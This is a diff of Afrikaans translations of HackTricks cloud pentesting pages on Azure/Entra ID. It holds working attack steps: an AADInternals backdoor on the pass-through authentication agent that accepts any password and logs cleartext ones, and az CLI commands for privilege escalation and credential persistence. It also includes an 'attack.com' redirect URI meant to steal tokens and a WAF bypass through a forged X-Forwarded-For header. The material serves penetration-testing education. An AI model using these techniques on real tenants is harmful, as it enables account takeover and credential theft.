-[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra pass-through authentication laat jou gebruikers toe om **in te teken op beide plaaslike en wolk-gebaseerde toepassings met dieselfde wagwoorde**. Hierdie funksie bied jou gebruikers 'n beter ervaring - een minder wagwoord om te onthou, en verminder IT-helpdesk koste omdat jou gebruikers minder geneig is om te vergeet hoe om in te teken. Wanneer gebruikers in teken met Microsoft Entra ID, valideer hierdie funksie gebruikers se wagwoorde direk teen jou plaaslike Active Directory.
+[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra pass-through authentication laat jou gebruikers toe om **in te teken op beide plaaslike en wolk-gebaseerde toepassings met dieselfde wagwoorde**. Hierdie funksie bied jou gebruikers 'n beter ervaring - een minder wagwoord om te onthou, en verminder IT-hulplijn koste omdat jou gebruikers minder geneig is om te vergeet hoe om in te teken. Wanneer gebruikers in teken met Microsoft Entra ID, valideer hierdie funksie gebruikers se wagwoorde direk teen jou plaaslike Active Directory.
 
-In PTA **identiteite** is **gesinchroniseer** maar **wagwoorde is nie** soos in PHS nie.
+In PTA **identiteite** is **gesinchroniseer** maar **wagwoorde is nie** soos in PHS.
 
 Die verifikasie word in die plaaslike AD gevalideer en die kommunikasie met die wolk word gedoen deur 'n **verifikasie-agent** wat op 'n **plaaslike bediener** loop (dit hoef nie op die plaaslike DC te wees nie).
 
@@ -14,9 +14,9 @@ Die verifikasie word in die plaaslike AD gevalideer en die kommunikasie met die
 
 <figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>
 
-1. Om te **log in** word die gebruiker na **Azure AD** herlei, waar hy die **gebruikersnaam** en **wagwoord** stuur.
-2. Die **bewyse** word **geënkripteer** en in 'n **ry** in Azure AD gestel.
-3. Die **plaaslike verifikasie-agent** versamel die **bewyse** uit die ry en **dekripteer** dit. Hierdie agent word **"Pass-through authentication agent"** of **PTA agent** genoem.
+1. Om te **log in** word die gebruiker herlei na **Azure AD**, waar hy die **gebruikersnaam** en **wagwoord** stuur
+2. Die **bewyse** word **versleuteld** en in 'n **ry** in Azure AD gestel
+3. Die **plaaslike verifikasie-agent** versamel die **bewyse** uit die ry en **ontsleutel** dit. Hierdie agent word **"Pass-through authentication agent"** of **PTA agent** genoem.
 4. Die **agent** **valideer** die bewys teen die **plaaslike AD** en stuur die **antwoord** **terug** na Azure AD wat, indien die antwoord positief is, die **inlog van die gebruiker voltooi**.
 
 > [!WARNING]
@@ -52,13 +52,13 @@ az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/aut
 ]
 }
 ```
-Kontroleer of die agent op die plaaslike bediener loop:
+Kontroleer of die agent op die on-prem bediener loop:
 ```bash
 Get-Service -Name "AzureADConnectAuthenticationAgent"
 ```
 ## Pivoting
 
-As jy **admin** toegang het tot die **Azure AD Connect-server** met die **PTA** **agent** wat loop, kan jy die **AADInternals** module gebruik om 'n **achterdeur** te **invoeg** wat **AL die wagwoorde** wat ingevoer word, sal **valideer** (sodat al die wagwoorde geldig sal wees vir outentisering):
+As jy **admin** toegang het tot die **Azure AD Connect-server** met die **PTA** **agent** wat loop, kan jy die **AADInternals** module gebruik om 'n **achterdeur** te **invoeg** wat **AL die wagwoorde** wat ingevoer word, sal **valideer** (sodat al die wagwoorde geldig sal wees vir autentisering):
 ```bash
 Install-Module AADInternals -RequiredVersion 0.9.3
 Import-Module AADInternals
@@ -80,7 +80,7 @@ Hierdie backdoor sal:
 > Wanneer die AzureADConnectAuthenticationAgent diens herbegin word, word PTASpy “ontlaai” en moet dit weer geïnstalleer word.
 
 > [!CAUTION]
-> Nadat **GA bevoegdhede** op die wolk verkry is, is dit moontlik om **nuwe PTA-agent** te **registreer** en kan die **vorige** stappe **herhaal** word om **met enige wagwoord te autentiseer** en ook, **die wagwoorde in duidelike teks te verkry.**
+> Nadat **GA bevoegdhede** op die wolk verkry is, is dit moontlik om **nuwe PTA-agent** te **registreer** en kan die **vorige** stappe **herhaal** word om **met enige wagwoord te autentiseer** en ook, **die wagwoorde in duidelike teks te kry.**
 
 ### Seamless SSO
 
@@ -90,7 +90,7 @@ Dit is moontlik om Seamless SSO met PTA te gebruik, wat kwesbaar is vir ander mi
 seamless-sso.md
 {{#endref}}
 
-## Verwysings
+## References
 
 - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta)
 - [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md

@@ -1,30 +0,0 @@
-# Az- Sinchronisering van Nuwe Gebruikers
-
-{{#include ../../../../banners/hacktricks-training.md}}
-
-## Sinchronisering van AzureAD gebruikers na on-prem om op te skaal van on-prem na AzureAD
-
-Om 'n nuwe gebruiker f**van AzureAD na die on-prem AD** te sinchroniseer, is die vereistes:
-
-- Die **AzureAD gebruiker** moet 'n proxy adres hê (n **posbus**)
-- Lisensie is nie vereis nie
-- Moet **nie reeds gesinchroniseer wees nie**
-```bash
-Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl
-```
-Wanneer 'n gebruiker soos hierdie in AzureAD gevind word, om dit **van die on-prem AD te benader** moet jy net **'n nuwe rekening skep** met die **proxyAddress** die SMTP e-pos.
-
-Automaties sal hierdie gebruiker **van AzureAD na die on-prem AD gebruiker gesinkroniseer word**.
-
-> [!CAUTION]
-> Let daarop dat jy om hierdie aanval uit te voer **nie 'n Domein Admin nodig het nie**, jy het net toestemmings nodig om **nuwe gebruikers te skep**.
->
-> Ook, dit **sal nie MFA omseil** nie.
->
-> Boonop, dit is gerapporteer dat **rekening sinkronisasie nie meer moontlik is vir admin rekeninge**.
-
-## References
-
-- [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)
-
-{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md

@@ -3,13 +3,13 @@
 {{#include ../../../../banners/hacktricks-training.md}}
 
 > [!NOTE]
-> Let daarop dat **nie al die fyn granuleerbare toestemmings** wat ingeboude rolle in Entra ID het **verkieslik is om in pasgemaakte rolle gebruik te word nie.**
+> Let daarop dat **nie al die fyn granulaire toestemmings** wat ingeboude rolle in Entra ID het **verkieslik is om in pasgemaakte rolle gebruik te word nie.**
 
 ## Rolle
 
 ### Rol: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
 
-Hierdie rol bevat die nodige fyn granuleerbare toestemmings om rolle aan principals toe te ken en om meer toestemmings aan rolle te gee. Beide aksies kan misbruik word om voorregte te verhoog.
+Hierdie rol bevat die nodige fyn granulaire toestemmings om rolle aan principals toe te ken en om meer toestemmings aan rolle te gee. Beide aksies kan misbruik word om voorregte te verhoog.
 
 - Ken rol aan 'n gebruiker toe:
 ```bash
@@ -27,7 +27,7 @@ az rest --method POST \
 \"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
 }"
 ```
-- Voeg meer regte by 'n rol:
+- Voeg meer toestemmings by 'n rol:
 ```bash
 # List only custom roles
 az rest --method GET \
@@ -52,7 +52,7 @@ az rest --method PATCH \
 
 ### `microsoft.directory/applications/credentials/update`
 
-Dit stel 'n aanvaller in staat om **akkrediteer** (wagwoorde of sertifikate) by bestaande toepassings te voeg. As die toepassing bevoorregte toestemmings het, kan die aanvaller as daardie toepassing outentiseer en daardie voorregte verkry.
+Dit stel 'n aanvaller in staat om **akkrediteer** (wagwoorde of sertifikate) by bestaande toepassings te voeg. As die toepassing bevoorregte toestemmings het, kan die aanvaller as daardie toepassing autentiseer en daardie voorregte verkry.
 ```bash
 # Generate a new password without overwritting old ones
 az ad app credential reset --id <appId> --append
@@ -79,18 +79,18 @@ az ad app owner list --id <appId>
 
 'n Aanvaller kan 'n omleidings-URI by toepassings voeg wat deur gebruikers van die huurder gebruik word en dan aan hulle aanmeld-URL's deel wat die nuwe omleidings-URL gebruik om hulle tokens te steel. Let daarop dat as die gebruiker reeds in die toepassing aangemeld was, die outentisering outomaties gaan wees sonder dat die gebruiker iets hoef te aanvaar.
 
-Let daarop dat dit ook moontlik is om die toestemmings wat die toepassing versoek te verander om meer toestemmings te verkry, maar in hierdie geval sal die gebruiker weer die versoek moet aanvaar wat om al die toestemmings vra.
+Let daarop dat dit ook moontlik is om die toestemmings wat die toepassing versoek te verander om meer toestemmings te verkry, maar in hierdie geval sal die gebruiker weer die prompt wat om al die toestemmings vra, moet aanvaar.
 ```bash
 # Get current redirect uris
 az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
 # Add a new redirect URI (make sure to keep the configured ones)
 az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
 ```
-## Diens Principals
+## Diens Prinsipale
 
 ### `microsoft.directory/servicePrincipals/credentials/update`
 
-Dit stel 'n aanvaller in staat om kredensiale by bestaande diens principals te voeg. As die diens principal verhoogde voorregte het, kan die aanvaller daardie voorregte aanvaar.
+Dit stel 'n aanvaller in staat om geloofsbriewe by bestaande diens prinsipale te voeg. As die diens prinsipaal verhoogde voorregte het, kan die aanvaller daardie voorregte aanvaar.
 ```bash
 az ad sp credential reset --id <sp-id> --append
 ```
@@ -98,19 +98,19 @@ az ad sp credential reset --id <sp-id> --append
 > Die nuwe gegenereerde wagwoord sal nie in die webkonsol verskyn nie, so dit kan 'n stealth manier wees om volharding oor 'n dienshoof te handhaaf.\
 > Van die API kan hulle gevind word met: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
 
-As jy die fout ontvang `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` is dit omdat **dit nie moontlik is om die passwordCredentials eienskap** van die SP te wysig nie en jy moet dit eers ontgrendel. Hiervoor het jy 'n toestemming nodig (`microsoft.directory/applications/allProperties/update`) wat jou toelaat om uit te voer:
+As jy die fout ontvang `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` is dit omdat **dit nie moontlik is om die passwordCredentials eienskap** van die SP te wysig nie en jy moet dit eers ontgrendel. Hiervoor het jy 'n toestemming (`microsoft.directory/applications/allProperties/update`) nodig wat jou toelaat om uit te voer:
 ```bash
 az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
 ```
 ### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
 
-Dit stel 'n aanvaller in staat om geloofsbriewe by bestaande dienshoofde te voeg. As die dienshoof 'n verhoogde bevoegdheid het, kan die aanvaller daardie bevoegdhede aanvaar.
+Dit stel 'n aanvaller in staat om geloofsbriewe by bestaande dienshoofde te voeg. As die dienshoof 'n verhoogde voorregte het, kan die aanvaller daardie voorregte aanvaar.
 ```bash
 az ad sp credential reset --id <sp-id> --append
 ```
 ### `microsoft.directory/servicePrincipals/owners/update`
 
-Soos by toepassings, laat hierdie toestemming toe om meer eienaars by 'n dienshoof te voeg. Om 'n dienshoof te besit, stel jou in staat om oor sy akrediteer en toestemmings te beheer.
+Soos by toepassings, laat hierdie toestemming toe om meer eienaars by 'n dienshoof te voeg. Om 'n dienshoof te besit, stel jou in staat om beheer oor sy akrediteer en toestemmings te hê.
 ```bash
 # Add new owner
 spId="<spId>"
@@ -132,11 +132,11 @@ az ad sp owner list --id <spId>
 
 ### `microsoft.directory/servicePrincipals/disable` en `enable`
 
-Hierdie toestemmings laat toe om diensbeginsels te deaktiveer en te aktiveer. 'n Aanvaller kan hierdie toestemming gebruik om 'n diensbeginsel te aktiveer waartoe hy op een of ander manier toegang kan verkry om voorregte te verhoog.
+Hierdie toestemmings laat toe om diensbeginsels te deaktiveer en te aktiveer. 'n Aanvaller kan hierdie toestemming gebruik om 'n diensbeginsel te aktiveer waartoe hy op een of ander manier toegang kan kry om voorregte te verhoog.
 
 Let daarop dat die aanvaller vir hierdie tegniek meer toestemmings nodig sal hê om die geaktiveerde diensbeginsel oor te neem.
 ```bash
-bashCopy code# Disable
+# Disable
 az ad sp update --id <ServicePrincipalId> --account-enabled false
 
 # Enable
@@ -144,7 +144,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
 ```
 #### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
 
-Hierdie toestemmings laat toe om geloofsbriewe vir enkel aanmelding te skep en te verkry, wat toegang tot derdeparty toepassings kan toelaat.
+Hierdie toestemmings stel in staat om akrediteerbare inligting vir enkel aanmelding te skep en te verkry, wat toegang tot derdeparty toepassings kan toelaat.
 ```bash
 # Generate SSO creds for a user or a group
 spID="<spId>"
@@ -164,13 +164,21 @@ az rest --method POST \
 --headers "Content-Type=application/json" \
 --body "{\"id\": \"$credID\"}"
 ```
+### Toepassings Privilege Escalation
+
+**Soos verduidelik in [hierdie pos](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** was dit baie algemeen om standaardtoepassings te vind wat **API-toestemmings** van die tipe **`Application`** aan hulle toegeken het. 'n API-toestemming (soos genoem in die Entra ID-konsol) van die tipe **`Application`** beteken dat die toepassing toegang tot die API kan verkry sonder 'n gebruikerskonteks (sonder 'n gebruiker wat in die app aanmeld), en sonder om Entra ID-rolle te benodig om dit toe te laat. Daarom is dit baie algemeen om **hooggeprivilegieerde toepassings in elke Entra ID-huurder** te vind.
+
+As 'n aanvaller dan enige toestemming/rol het wat toelaat om die **akkrediteer (geheim of sertifikaat) van die toepassing op te dateer**, kan die aanvaller 'n nuwe akkrediteer genereer en dit dan gebruik om **as die toepassing te verifieer**, wat al die toestemmings wat die toepassing het, verkry.
+
+Let daarop dat die genoemde blog 'n paar **API-toestemmings** van algemene Microsoft standaardtoepassings deel, maar 'n tydjie na hierdie verslag het Microsoft hierdie probleem reggestel en dit is nou nie meer moontlik om as Microsoft-toepassings aan te meld nie. Dit is egter steeds moontlik om **aangepaste toepassings met hoë voorregte te vind wat misbruik kan word**.
+
 ---
 
 ## Groepe
 
 ### `microsoft.directory/groups/allProperties/update`
 
-Hierdie toestemming laat toe om gebruikers by bevoorregte groepe te voeg, wat lei tot privilige-eskalasie.
+Hierdie toestemming laat toe om gebruikers by voorregte groepe te voeg, wat lei tot privilege escalatie.
 ```bash
 az ad group member add --group <GroupName> --member-id <UserId>
 ```
@@ -178,7 +186,7 @@ az ad group member add --group <GroupName> --member-id <UserId>
 
 ### `microsoft.directory/groups/owners/update`
 
-Hierdie toestemming stel jou in staat om 'n eienaar van groepe te word. 'n Eienaar van 'n groep kan groepslidmaatskap en instellings beheer, wat moontlik voorregte na die groep kan opgradeer.
+Hierdie toestemming maak dit moontlik om 'n eienaar van groepe te word. 'n Eienaar van 'n groep kan groepslidmaatskap en instellings beheer, wat moontlik die bevoegdhede na die groep kan opgradeer.
 ```bash
 az ad group owner add --group <GroupName> --owner-object-id <UserId>
 az ad group member add --group <GroupName> --member-id <UserId>
@@ -187,7 +195,7 @@ az ad group member add --group <GroupName> --member-id <UserId>
 
 ### `microsoft.directory/groups/members/update`
 
-Hierdie toestemming laat toe om lede by 'n groep te voeg. 'n Aanvaller kan homself of kwaadwillige rekeninge by bevoorregte groepe voeg, wat verhoogde toegang kan verleen.
+Hierdie toestemming laat toe om lede by 'n groep te voeg. 'n Aanvaller kan homself of kwaadwillige rekeninge aan bevoorregte groepe voeg, wat verhoogde toegang kan verleen.
 ```bash
 az ad group member add --group <GroupName> --member-id <UserId>
 ```
@@ -224,7 +232,7 @@ az ad user update --id <user-id> --password "kweoifuh.234"
 ```
 ### `microsoft.directory/users/basic/update`
 
-Hierdie privaatheid stel in staat om eienskappe van die gebruiker te wysig. Dit is algemeen om dinamiese groepe te vind wat gebruikers byvoeg op grond van eienskapwaardes, daarom kan hierdie toestemming 'n gebruiker in staat stel om die nodige eienskapwaarde in te stel om 'n lid van 'n spesifieke dinamiese groep te wees en privaathede te verhoog.
+Hierdie voorreg stel in staat om eienskappe van die gebruiker te wysig. Dit is algemeen om dinamiese groepe te vind wat gebruikers byvoeg op grond van eienskapwaardes, daarom kan hierdie toestemming 'n gebruiker in staat stel om die nodige eienskapwaarde in te stel om 'n lid van 'n spesifieke dinamiese groep te wees en voorregte te verhoog.
 ```bash
 #e.g. change manager of a user
 victimUser="<userID>"
@@ -252,7 +260,7 @@ az-conditional-access-policies-mfa-bypass.md
 
 ### `microsoft.directory/devices/registeredOwners/update`
 
-Hierdie toestemming laat aanvallers toe om hulself as eienaars van toestelle toe te ken om beheer of toegang tot toestel-spesifieke instellings en data te verkry.
+Hierdie toestemming laat aanvallers toe om hulleself as eienaars van toestelle toe te ken om beheer of toegang tot toestel-spesifieke instellings en data te verkry.
 ```bash
 deviceId="<deviceId>"
 userId="<userId>"

src/pentesting-cloud/azure-security/az-services/az-front-door.md

@@ -0,0 +1,18 @@
+# Az - Lêer Deel
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## RemoteAddr Omseiling
+
+Hierdie **[blogpos](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)** verduidelik hoe jy, wanneer jy sekere netwerkbeperkings met Azure Front Door konfigureer, kan filter op **`RemoteAddr`** of **`SocketAddr`**. Die hoofverskil is dat **`RemoteAddr`** werklik die waarde van die **`X-Forwarded-For`** HTTP-kop gebruik, wat dit baie maklik maak om te omseil.
+
+Om hierdie reël te omseil, kan geoutomatiseerde gereedskap gebruik word wat **brute-force IP adresse** totdat dit 'n geldige een vind.
+
+Dit word in die [Microsoft dokumentasie](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction) genoem.
+
+
+## Verwysings
+
+- [https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)
+
+{{#include ../../../banners/hacktricks-training.md}}